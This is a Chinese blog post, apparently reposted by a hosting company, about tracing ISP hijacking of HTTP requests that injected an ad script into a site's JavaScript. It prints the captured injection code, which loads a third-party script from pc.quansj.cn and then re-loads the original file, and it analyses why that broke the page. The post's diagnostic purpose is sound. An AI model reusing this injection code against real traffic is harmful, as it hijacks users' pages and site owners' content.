這篇文章將為大家詳細(xì)講解有關(guān)如何發(fā)現(xiàn)ISP劫持HTTP請求，小編覺得挺實(shí)用的，因此分享給大家做個(gè)參考，希望大家閱讀完這篇文章后可以有所收獲。
目前創(chuàng)新互聯(lián)已為上千余家的企業(yè)提供了網(wǎng)站建設(shè)、域名、網(wǎng)站空間、網(wǎng)站托管、服務(wù)器托管、企業(yè)網(wǎng)站設(shè)計(jì)、紅橋網(wǎng)站維護(hù)等服務(wù)，公司將堅(jiān)持客戶導(dǎo)向、應(yīng)用為本的策略，正道將秉承"和諧、參與、激情"的文化，與客戶和合作伙伴齊心協(xié)力一起成長，共同發(fā)展。
編者按：Fundebug的客戶通過分析我們提供的報(bào)警信息，定位了一個(gè)非常棘手的問題—ISP劫持http請求。他的分析過程非常有意思，同時(shí)也提醒我們，應(yīng)該及時(shí)支持HTTPS來保證站點(diǎn)安全。
最近業(yè)務(wù)系統(tǒng)經(jīng)常受到前端報(bào)錯(cuò)郵件
發(fā)現(xiàn)大量的ip為沈陽聯(lián)通客戶==>初步推斷為運(yùn)營商http劫持
經(jīng)過現(xiàn)場排查發(fā)現(xiàn)出錯(cuò)畫面部分js加載出錯(cuò)
區(qū)別在于錯(cuò)誤的js會先插入一個(gè)廣告js
為區(qū)別是否DNS劫持查看NetWork面板
IP正確并且為我方服務(wù)器IP確認(rèn)并非為DNS***。
由于大面積出現(xiàn)沈陽聯(lián)通問題，(故而考慮應(yīng)當(dāng)為運(yùn)營商問題？應(yīng)該不會出現(xiàn)大范圍路由器被黑的可能吧)
返回js如下
重慶分公司
重慶分公司
(function () {
try {
var o = 'm-_-m',
D = document;
if (!D.getElementById(o)) {
var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',
J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(),
M = 'http://pc.quansj.cn/?cid=08',
C = D.currentScript,
H = D.getElementsByTagName('head')[0],
N = function (s, i) {
var I = D.createElement('script');
I.type = 'text/JavaScript';
if (i) I.id = i;
I.src = s;
H.appendChild(I);
};
if (self == top) {
N(M, o);
}
if (!C) {
C = (function () {
var S = D.scripts,
l = S.length,
i = 0;
for (; i < l; ++i) {
if (S[i].src === j) {
return S[i];
}
}
})();
}
C && ((C.defer || C.async) ? N(J) : D.write('<' + '/script>'));
}
} catch (e) {}
})(); 通過域名Whois反查
發(fā)現(xiàn)旗下域名
有好幾個(gè)都是廣告劫持網(wǎng)站
貌似和一個(gè)說脫口秀的（趙本山徒弟）同名………………該不是同一個(gè)人吧/(ㄒoㄒ)/~~
和沈陽聯(lián)通溝通后無果，拒不承認(rèn)存在劫持。目前正在求助工信部，不知能否有解決方案。
github上已經(jīng)有針對該地址的adblock了……明顯遼寧聯(lián)通
看了一下js選項(xiàng)，正常情況下會執(zhí)行到
C&&((C.defer||C.async)?N(J):D.write('<'+'/script>')); 代碼做了判斷，如果支持defer或者async這直接append異步加載js，當(dāng)不支持則直接通過document寫入（同步執(zhí)行）
也就是說理論上會同步加載我們服務(wù)器上的js~但是事實(shí)上出現(xiàn)了大量的js未加載到
經(jīng)過查閱發(fā)現(xiàn)chrome有個(gè)設(shè)置（據(jù)說chrome55(?)+版本后優(yōu)化）可以嘗試一下
[chrome://flags/#disallow-doc-written-script-loads]()
具體說明如下
With this data in mind, Chrome, starting with version 55, intervenes on behalf of all users when we detect this known-bad pattern by changing how
document.write()is handled in Chrome (See Chrome Status). Specifically Chrome will not execute the<script>elements injected viadocument.write()when allof the following conditions are met:
The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)
The
document.write()is in a top level document. The intervention does not apply to document.written scripts within iframes as they don't block the rendering of the main page.The script in the
document.write()is parser-blocking. Scripts with the 'async' or 'defer' attributes will still execute.The script is not hosted on the same site. In other words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on www.example.org).
The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.
The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as normal.
Third party snippets sometimes use
document.write()to load scripts. Fortunately, most third parties provide asynchronous loading alternatives, which allow third party scripts to load without blocking the display of the rest of the content on the page.
貌似我們不符合條件4 暫時(shí)先考慮一下
代碼format完后大驚失色……整個(gè)加載js的前提是畫面中沒有id為m-_-m的節(jié)點(diǎn)。否則不會進(jìn)行加載js ，即不會執(zhí)行document.write
如果悲催的是我們畫面中存在2個(gè)或兩個(gè)以上的js被劫持，那么除了第一個(gè)js其余均不會加載。
那么查看了一下js請求（帶有queryString），發(fā)現(xiàn)
果然當(dāng)時(shí)客戶的請求了commonjs，也就是commonjs也被劫持了。此刻畫面中出現(xiàn)了m-_-m節(jié)點(diǎn)。導(dǎo)致其他被劫持的js不會加載真實(shí)的js………………
再說一下關(guān)于我們首頁的劫持（跳轉(zhuǎn)？）
明顯也是江蘇寬帶(南京電信)的劫持……
關(guān)于“如何發(fā)現(xiàn)ISP劫持HTTP請求”這篇文章就分享到這里了，希望以上內(nèi)容可以對大家有一定的幫助，使各位可以學(xué)到更多知識，如果覺得文章不錯(cuò)，請把它分享出去讓更多的人看到。
